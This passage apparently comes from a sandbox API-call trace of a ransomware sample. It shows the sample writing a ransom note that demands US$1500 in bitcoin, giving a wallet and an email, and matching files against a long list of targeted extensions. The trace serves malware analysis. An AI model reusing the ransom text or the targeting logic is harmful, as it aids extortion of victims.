HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\") returned="" [0091.424] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\HOW TO DECRYPT FILES.txt" [0091.424] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\how to decrypt files.txt")) returned 0xffffffff [0091.424] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\ovb5tf6zrj4f-k\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.425] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.425] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.427] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.427] CloseHandle (hObject=0x98) returned 1 [0091.427] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\", lpString2="7vqkytEBAY.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv" [0091.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.ems") returned 0 [0091.427] lstrlenA (lpString="*.ems") returned 5 [0091.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.db") returned 0 [0091.427] lstrlenA (lpString="*.db") returned 4 [0091.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.dbf") returned 0 [0091.427] lstrlenA (lpString="*.dbf") returned 5 [0091.427] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.myox") returned 0 [0091.427] lstrlenA (lpString="*.myox") returned 6 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.myo") returned 0 [0091.428] lstrlenA (lpString="*.myo") returned 5 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbw") returned 0 [0091.428] lstrlenA (lpString="*.qbw") returned 5 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbb") returned 0 [0091.428] lstrlenA (lpString="*.qbb") returned 5 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbm") returned 0 [0091.428] lstrlenA (lpString="*.qbm") returned 5 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbo") returned 0 [0091.428] lstrlenA (lpString="*.qbo") returned 5 [0091.428] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbx") returned 0 [0091.428] lstrlenA (lpString="*.qbx") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qba") returned 0 [0091.429] lstrlenA (lpString="*.qba") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qby") returned 0 [0091.429] lstrlenA (lpString="*.qby") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qbj") returned 0 [0091.429] lstrlenA (lpString="*.qbj") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.ofx") returned 0 [0091.429] lstrlenA (lpString="*.ofx") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.qif") returned 0 [0091.429] lstrlenA (lpString="*.qif") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.mye") returned 0 [0091.429] lstrlenA (lpString="*.mye") returned 5 [0091.429] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.mbox") returned 0 [0091.429] lstrlenA (lpString="*.mbox") returned 6 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.eml") returned 0 [0091.430] lstrlenA (lpString="*.eml") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.pst") returned 0 [0091.430] lstrlenA (lpString="*.pst") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.ost") returned 0 [0091.430] lstrlenA (lpString="*.ost") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.idx") returned 0 [0091.430] lstrlenA (lpString="*.idx") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.dbx") returned 0 [0091.430] lstrlenA (lpString="*.dbx") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.sql") returned 0 [0091.430] lstrlenA (lpString="*.sql") returned 5 [0091.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.mdb") returned 0 [0091.430] lstrlenA (lpString="*.mdb") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.fdb") returned 0 [0091.431] lstrlenA (lpString="*.fdb") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.wab") returned 0 [0091.431] lstrlenA (lpString="*.wab") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.dat") returned 0 [0091.431] lstrlenA (lpString="*.dat") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.txt") returned 0 [0091.431] lstrlenA (lpString="*.txt") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.jpeg") returned 0 [0091.431] lstrlenA (lpString="*.jpeg") returned 6 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.jpg") returned 0 [0091.431] lstrlenA (lpString="*.jpg") returned 5 [0091.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.png") returned 0 [0091.431] lstrlenA (lpString="*.png") returned 5 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.php") returned 0 [0091.432] lstrlenA (lpString="*.php") returned 5 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.cs") returned 0 [0091.432] lstrlenA (lpString="*.cs") returned 4 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.cpp") returned 0 [0091.432] lstrlenA (lpString="*.cpp") returned 5 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.rar") returned 0 [0091.432] lstrlenA (lpString="*.rar") returned 5 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.zip") returned 0 [0091.432] lstrlenA (lpString="*.zip") returned 5 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.html") returned 0 [0091.432] lstrlenA (lpString="*.html") returned 6 [0091.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.htm") returned 0 [0091.432] lstrlenA (lpString="*.htm") returned 5 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.xlsx") returned 0 [0091.433] lstrlenA (lpString="*.xlsx") returned 6 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.xls") returned 0 [0091.433] lstrlenA (lpString="*.xls") returned 5 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.mp4") returned 0 [0091.433] lstrlenA (lpString="*.mp4") returned 5 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.ppt") returned 0 [0091.433] lstrlenA (lpString="*.ppt") returned 5 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.pptx") returned 0 [0091.433] lstrlenA (lpString="*.pptx") returned 6 [0091.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.doc") returned 0 [0091.433] lstrlenA (lpString="*.doc") returned 5 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.dot") returned 0 [0091.434] lstrlenA (lpString="*.dot") returned 5 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.docx") returned 0 [0091.434] lstrlenA (lpString="*.docx") returned 6 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.7z") returned 0 [0091.434] lstrlenA (lpString="*.7z") returned 4 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.tar") returned 0 [0091.434] lstrlenA (lpString="*.tar") returned 5 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.bz2") returned 0 [0091.434] lstrlenA (lpString="*.bz2") returned 5 [0091.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.gz") returned 0 [0091.434] lstrlenA (lpString="*.gz") returned 4 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.mkv") returned 0 [0091.435] lstrlenA (lpString="*.mkv") returned 5 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.eml") returned 0 [0091.435] lstrlenA (lpString="*.eml") returned 5 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.msg") returned 0 [0091.435] lstrlenA (lpString="*.msg") returned 5 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.edb") returned 0 [0091.435] lstrlenA (lpString="*.edb") returned 5 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.accdb") returned 0 [0091.435] lstrlenA (lpString="*.accdb") returned 7 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.odb") returned 0 [0091.435] lstrlenA (lpString="*.odb") returned 5 [0091.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.java") returned 0 [0091.436] lstrlenA (lpString="*.java") returned 6 [0091.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.asm") returned 0 [0091.436] lstrlenA (lpString="*.asm") returned 5 [0091.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.pfx") returned 0 [0091.436] lstrlenA (lpString="*.pfx") returned 5 [0091.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.pem") returned 0 [0091.436] lstrlenA (lpString="*.pem") returned 5 [0091.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.p12") returned 0 [0091.436] lstrlenA (lpString="*.p12") returned 5 [0091.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv", pszSpec="*.gpg") returned 0 [0091.436] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf3ba3b0, ftCreationTime.dwHighDateTime=0x1d5d8d8, ftLastAccessTime.dwLowDateTime=0x42fc4290, ftLastAccessTime.dwHighDateTime=0x1d5dd9d, ftLastWriteTime.dwLowDateTime=0x42fc4290, ftLastWriteTime.dwHighDateTime=0x1d5dd9d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JoKBlSZd0zEXdxdb", cAlternateFileName="JOKBLS~1")) returned 1 [0091.437] lstrcmpA (lpString1=".", lpString2="JoKBlSZd0zEXdxdb") returned -1 [0091.437] lstrcmpA (lpString1="..", lpString2="JoKBlSZd0zEXdxdb") returned -1 [0091.437] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\7vqkytEBAY.flv") returned="7vqkytEBAY.flv" [0091.437] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\", lpString2="JoKBlSZd0zEXdxdb" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb" [0091.437] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\JoKBlSZd0zEXdxdb\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf3ba3b0, ftCreationTime.dwHighDateTime=0x1d5d8d8, ftLastAccessTime.dwLowDateTime=0x42fc4290, 